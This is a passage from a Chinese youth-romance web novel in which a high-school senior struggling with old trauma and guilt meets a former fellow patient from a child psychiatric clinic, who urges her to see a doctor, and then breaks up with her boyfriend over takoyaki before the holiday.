王乐萍的烦倦大概就是压倒骆驼的最后一根稻草,骆眀昭再也控制不住,转身跑出病房。 这次见面,是骆眀昭最后一次跟老人面对面的机会,她像是个懦弱的逃兵,那是她的亲人一直爱着她的姥姥,她却在这种情况下,只有对她的恐惧心。 不单单是恐惧,骆眀昭自己知道,像是在马路边遇到一个疯癫的人,路人会下意识避开那样,她竟然可耻地对亲人有了嫌弃的情绪,她不愿不敢不想靠近。 她是混蛋,她不可饶恕,她罪无可恕。 她后悔了,真的。 …… 所以牧时桉,你别喜欢我了。 73. 章鱼小丸子 国庆前好几天,高三第一次月考就开始了,成绩在也在国庆假期前被贴到各班,以及一层告示板处。 其他两个年级月考都被安排在假期后,唯独高三赶在假期前就公布成绩,大概也是为了敲打敲打学生们,考得好自不用说,考得差这几天假期就别想撒野去玩,留在家里踏实学吧。 课间,一班学生们涌上前去看成绩,那么点地方乌泱泱围了一圈人,所有人瞧见成绩单的瞬间,都不禁感慨,学校真是狗啊! 除了原本的成绩排名,这次每个人排名后都有一个小小的符号,或加或减,都是跟开学考的那次成绩做比较,看你比上次进步或落后多少。 “贴之前我拍了成绩,给你们瞅瞅?”韩进奇推推眼镜,半靠在牧时桉桌上,虽然当初前后桌缘分短暂,但是骆眀昭他们跟他关系还是很好的。 梁若璇拿过手机,仔细放大:“我看我啊,年级四十三跟上次一样,牧时桉年级十二进步两名,我看昭昭……” “第二十啊!”梁若璇吃惊地看着图片上的数字,“昭昭你年级进步了二十名!” 刚结束课间操,骆眀昭正在用梳子整理她的头发,有些长了所以梳起来很费劲,只能全披下来用梳子小心梳顺,闻声她朝着梁若璇看过去,梳子还插在头发上。 “这么高?”她也诧异着。 韩进奇笑着调侃:“朝你这火箭般的进步速度,看来我这万年老二也保不住了。” 骆眀昭扬起脖颈,毫不手软地把除刘海外的头发全都一点点捋上去,饱满的后脑勺后是干净利落的马尾:“不至于,学委还是学委。” 韩进奇和骆眀昭还在有一搭没一搭地聊,梁若璇捧着手机还在仔细地盯着看,半天没说话,说没有触动那绝对是不可能,如果身边的人都在进而她还在原地踏步的话,那也就意味着她在退步,尤其在骆眀昭已经远超自己这么多的情况下。 唔,看来她还得努力啊。 后门牧时桉迈步进来,他刚从洗手间回来,手帕纸还在慢条斯理地擦着手上的水。 韩进奇视线扫过:“老牧,来看看成绩?” 梁若璇将手机递给他,牧时桉眼神飞速在屏幕上扫过,捕捉到几个熟悉的名字。 “进步这么多?”他拉开椅子坐下,扭头跟一旁的女孩说。 骆眀昭把小梳子收起来,轻嗯一声,却没有回过头去看他。 其实这俩人在学校里已经很低调了,但架不住韩进奇是个人精,刚开学几天他就琢磨出味来,还特意跑到正主这确认,得到了牧时桉坦坦荡荡个点头,不过他也不是嘴碎的人,没有到处宣扬,悄悄地磕。 他压低声音,凑到牧时桉耳边:“哦——让看你的成绩,你先关注人家的啊。” 牧时桉瞧他一眼,抿着唇没说什么,上课铃一打响大家就各自作鸟兽散,回到自己座位上。 教师进班,一班很快就进入学习模式,牧时桉整个人重心在椅背上,手搭在桌面上,悠悠地转着笔。 亲密接触是增进感情的利器,可他却觉得,自从那天在他家,两人短暂的情难自已后,骆眀昭似乎就跟他隔着层薄膜,他越靠近越能感受到这层不知从何而起的隔阂。 现在骆眀昭更多时间扑在学习上,这次的成绩就是最好证明,几乎在学校里看不到她悠闲玩闹的时候,几乎都趴在桌前刷题,偶尔不在教室,除了去卫生间外,就是拿着练习册去办公室问题,可是要说她努力学习是为做什么…… 前段时间蔡杨也随潮流,搞了个目标墙,每个同学在便利贴上写下自己心中目标,有的人写目标分数,有的人以后想学什么专业,有的有具体目标念哪所大学、去哪个城市,甚至有人更务实些,写的是希望这次月考能进步多少。 空闲时,牧时桉曾去看了骆眀昭的目标,她的便利贴都是从前认真挑选的独特款式,在一众纸条里最为扎眼——考个好大学。 这几乎是没有基准线的目标,多好的大学在她心里算好,她的目标看着普通却最为虚无。 牧时桉还记得自己生病那次,她曾经无意识地袒露过她的目标是医生,即便后来她再也没提及这事,他也一直记在心里。 骆眀昭没将自己的想法写在目标墙上,在某方面也印证着,至少现在,她是个没有目标的人,那她埋头苦学不是为了达成什么。 牧时桉目光定在水笔上,它仍在自己手心一圈圈转着,一个有些荒诞又自恋的念头浮上心间——她将全部时间投进学习里,是为了躲着他。 “牧时桉,这题选什么?”数学老师忽然叫他答题。 他回过神来扫了眼题干,有点麻烦需要算,一眼看不出来,他随便答了一个:“C。” “嗯,坐下吧,认真听课啊。” 他蒙对了。 - 这次月考成绩好到,骆眀昭去办公室数卷子,蔡杨留着下她高兴地夸了二十分钟没放她走,蔡杨一激动谁也拦不住他,那些词换做谁都得被夸到上天去了,只是她心不在焉,左耳朵进右耳朵出。 晚餐前,黄昏伊始,老师们叫年级前二十去综合楼前的雕像拍照,年级前二十大都是一班的,也有外班,单科状元外班也有不少,骆眀昭生平第一次因为成绩登上荣誉墙。 天边都泛着红,也不知道为什么单挑出这个光线差的时间来拍照,所有人随意地排成一列纵队,等着老师流水线式拍照。 设备更新迭代,上学期教学楼一层荣誉墙换成一面LED屏幕,从前一张照片用到发黄,主要重新洗照片更换也费劲,现在方便,学校每次出成绩都拍,说什么新成绩新照片,代表学生的新的成长新的面目,反正话是一套又一套。 牧时桉就站在骆眀昭身后,队伍一点点往前挪,她能感受到身后人的气息,心里发堵,手不自然地插在校服口袋里,始终不回头。 现在想想埋头学习也挺好的,被困在题里,能什么都不想。 骆眀昭前一个是林以征,他没什么反应,老师如何安排他就如何去做,咔嚓一张结束,从板凳上起身离开。 “下一个。”负责拍照的老师喊她,骆眀昭回过神来,走到相机前坐下。 又不是艺术写真,笑与不笑区别不大,不过骆眀昭还是微微扬起唇角,只是看着表情有点苦涩。 “下一个。” 骆眀昭起身,目光无意识落在身后,却没想到牧时桉也在看她,晦涩光线下表情难以辨认。 “那个小伙,去我办公室把补光灯拿过来,”拍照老师指挥后面学生,还在不停吐槽,“非这么晚拍真的是。” 骆眀昭整理着校服还没走,牧时桉坐在板凳上偏过头看她低声说:“等我一会儿。”想跟你一起回去。 她顿了顿,沉默几秒后,扬起很浅的一抹笑来:“天气有点冷,我先回去了,就不等你啦。” 说完便转身离开,仿佛身后嘈杂吵闹都无关紧要。 牧时桉看着她的背影,忽然觉得好像有什么东西从他心里在努力挣脱出去,垂下眼,喉结轻轻滚动着。 骆眀昭绕了条小路往高三教学楼的方向走,风吹过,她确确实实感觉到冷意。 这个时间,大概无论年级的各个班里都在开班会,校园里逐渐暗下去,可路灯还没亮。 她压着心头酸涩,无意识地扬起头,却看到眼前隐隐的人影,骆眀昭眯眯眼睛,大概能认出那是林以征,他站在树下不知道在做什么,目光也朝着她的方向。 即便不熟,但基本的寒暄还得有,骆眀昭随口问:“你怎么在这?” 言外之意他怎么走这条小路,这光线不太好,回教学楼一般不会选这条。 “想抽,”他仰起头,“但发现没带火。” 骆眀昭歪歪脑袋,接了个下茬:“所以准备在这蹲人打劫借火?” 林以征看她一眼,骆眀昭第一次从学神的眼睛里看出丝丝嫌弃,那意思是,你是不是有毛病? 可能是上劲了却没法疏导,她能理解。 “所以在这吹风。”他说。 这凉飕飕的,别在给她冻感冒了,骆眀昭搓了搓手臂,准备回班。 “看起来你没吃安眠药,”林以征忽然说,迈开脚步走在她旁边,“状态看着一般。” 骆眀昭愣着:“合着你认真的?” “去找医生开,按医嘱吃,又不是一把往嘴里塞。”林以征大概是猜出她到底在多想些什么。 骆眀昭不经意挠挠脸颊,讪讪笑着:“哦,是这样哈。” “适当服用调整下作息可以,不能长吃,如果实在睡不着建议看心理医生。”他说。 走过转角处,骆眀昭随口一说:“怎么搞得像是病友交流大会一样。” 林以征忽然停住脚步,扭头看着她,光线微弱,但骆眀昭已经能想象到他那没什么情绪变化的人机表情,事实也的确如此。 “你看着确实是不记得我。”林以征忽然说这样一句话。 骆眀昭愣了一下,被他这话惊到:“我们以前认识吗?” “绮城精神卫生中心,青少年精神科,马主任。”他一字一句地说着。 骆眀昭努力回忆着这几个关键词,感觉在哪里听过。 对了!她小时候,王乐萍带她去看心理医生,好像就是这个地方这个人。 林以征面不改色地继续朝前走:“确实是病友交流会。” 他开始没认出骆眀昭来,不过就是医院走廊长椅上,一起等号时说过几次话,不过林以征从小记忆力不错,这名字他记得,后来第一次听到这个名字,他才回忆起来有这么个人。 骆眀昭也隐隐被勾起了回忆,好像当初,确实有几回去她有跟旁边小朋友聊天,只不过那个孩子话少,他们说得也不多。 原来是他啊。 他们经过初秋时节已经有些落败的花坛,沉默着朝着教学楼走,病友相认却反而没了话。 “我一直以为你治得不错,看起来也不怎么样。”林以征说出了自己的想法。 也许是久病成良医,他一眼就能看出她当下的状态,很差。 骆眀昭没接他这话,垂着头安静在走,走出到宽阔地界,她才低声说了一句:“魔法失效了呗。” 她一直在试图忘记,装作那些事从来都没出现在她的生活里,把记忆藏到深处,用魔法封印住,家里人也在帮着她,他们刻意地去忽略糟糕记忆的存在。 那魔法就是一种自我保护机制,强硬去免疫忽视掉所有会让她感到痛苦的事情,又在灾厄之后,一点点重建名为自我的象牙塔,让她将所有精力,只专注于自我感受上,她只做自己觉得快乐、开心的事情。 这本质其实就是种拆东墙补西墙的做法,就像植发,从后面补到前边,前边瞧着头发是多了,却总归头发丝还是那么多。 记忆也是,不过就是暂时忽略掉罢了,只要它始终没有过去,那么总有一天它会卷土重来。 小时候可能更天真,想得更少一些,也更好糊弄自己,可魔法总有失效的那天,人也不能一辈子躲在象牙塔里不出来,长到十八九岁,正是迷茫、多愁善感、心思又多如满天星辰的年纪,她也终于迎来直面情绪的这天,正如当年压抑许久情绪的骆齐最后崩溃,骆眀昭内心世界的虚假繁荣,最终倒坍。 高三教学楼前路灯瞬间亮起来,踏上楼梯林以征扭头看她一眼:“真的累就去看看医生,别挺着。” 无意中他瞧见牧时桉的身影越来越近,他无所谓地转身走 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“吃吗?”牧时桉忽然握着她的手腕,拉住了她。 骆眀昭因此停下,扭过头看到一辆新的推车,从前并没有出现在这,章鱼小丸子。 她轻声问,语气里带着笑意:“怎么感觉你老是想要投喂我的样子?” 牧时桉勾了下唇,已经走到摊主面前要了个大份,回头说:“不想吃?” 阵阵香气打动着她的味蕾,有很久都没停下脚步,放学在这条街吃夜宵了。 “还挺了解我。”她撅撅嘴,哼唧两声,有点傲娇。 因为有现成刚做好的,所以出餐很快,骆眀昭接过那小小的餐盒,里面还插着两根竹签:“有点吵,去楼下吃吧。” 果然,楼下一如既往寂静,老小区的一贯场景,这个时间半数居民都已经进入梦乡。 手心温热,骆眀昭拆开塑料袋,用竹签小心翼翼挑起一个圆鼓鼓的丸子,咬了一口被烫得忍不住捂着嘴直哈气:“唔,好烫。” “你慢点,不跟你抢。”牧时桉从她手里接过塑料袋,失笑地帮她扇风。 木鱼花和章鱼小丸子真的挺适配的,灼热感散去,她也终于有功夫去细细品尝这美味。 骆眀昭嘴巴被塞满,脸圆鼓鼓的,她边嚼着边说:“你也吃呗,好吃。” “……我,”牧时桉低头,清了下嗓子,“你吃吧,我就不吃了。” 她心里忽然很涨,不过她能感觉到的,那不是什么好的情绪。 最后一小口被她费力咽下去,骆眀昭躲在外套口袋里的手紧紧攥着,她努力想找到什么东西捏着,钥匙和手机都在书包里,她只能攥着手。 “牧时桉。”她仰起头,坦荡对上他的视线。 感谢骆齐吧,是他换掉了楼道前的灯,要不然她也看不见牧时桉眼底的慌乱。 “嗯……”他声音听着很干涩。 有一股力在试图让她闭嘴,她努力冲破着什么,最终很浅地扬起笑来。 “我们分开吧。”她说。 或许猜到,或许猜不到,牧时桉垂下眼,深邃眉眼里情绪晦涩。 他似乎笑得无奈:“如果我说我不想呢?” 她伸手调整了下刘海,它长得有点扎眼,说:“要高考啊,没什么比读个好大学更重要对吧。” 夜风在舞动,骆眀昭努力控制着自己不哭,她又怎么舍得,她真的很喜欢面前这个人。 曾经她觉得,这个世界总有比学习更重要的事情,比如吃顿饱饭,又比如睡个好觉,有个健康的身体,积极乐观的灵魂。 但这些她好像都没有,她只能全情努力在学业上,幸好还有这么一件事可做。 可她当下,似乎真的很不适合拖累别人。 “你口中的好大学,是什么?”牧时桉忽然问。 这几乎是问住了她,骆眀昭从没想过这事,牧时桉几乎猜透了她,她没有目标。 她沉默了很久:“我想去北京。” 家里人带着她去过不少旅游城市,但好像唯独没去过首都。 有个表姐在北京工作,有次跟她说那里一点都不好,人很多,感觉无论去哪密密麻麻都是人,压得人喘不过气来。 可是作为从没去过北京的外地人,那个城市留在人心里印象是不一样的。 而且,北京有很多好大学,只要成绩够,总有她喜欢的。 “北京,”牧时桉靠在墙边,垂下头反复念叨着两个字,“我知道了。” 从前他也是个没有目标的人,对身边许多事都没有探索的欲望,活得无趣。 但今天他也有了。 “这时候唱《分手快乐》,是不是显得挺神经的?”骆眀昭走进楼道,踏上台阶。 牧时桉像是往常那样,跟在她身后,低低地笑:“你觉得呢?” 她才不唱呢!什么“你可以找到更好的”,他更找到比她骆眀昭更好的? 只是再等等吧,给她点时间。 “你的小丸子,不要多吃,晚上吃多容易积食。”牧时桉将塑料袋递到她手里。 骆眀昭接过来:“知道啦。” 站停在家门前,骆眀昭去书包翻钥匙的手,都有些发抖,她拿着钥匙,长长地吐出口气。 “骆眀昭,咱们现在应该还是朋友吧?”身后忽然出声。 这场景莫名熟悉,她插进钥匙,回:“不然呢?” 锁芯转动,门被拉开,骆眀昭没回头,跟身后的人说了句:“假期快乐啊。” 少年的声音缓慢,一字一顿。 “你也是。”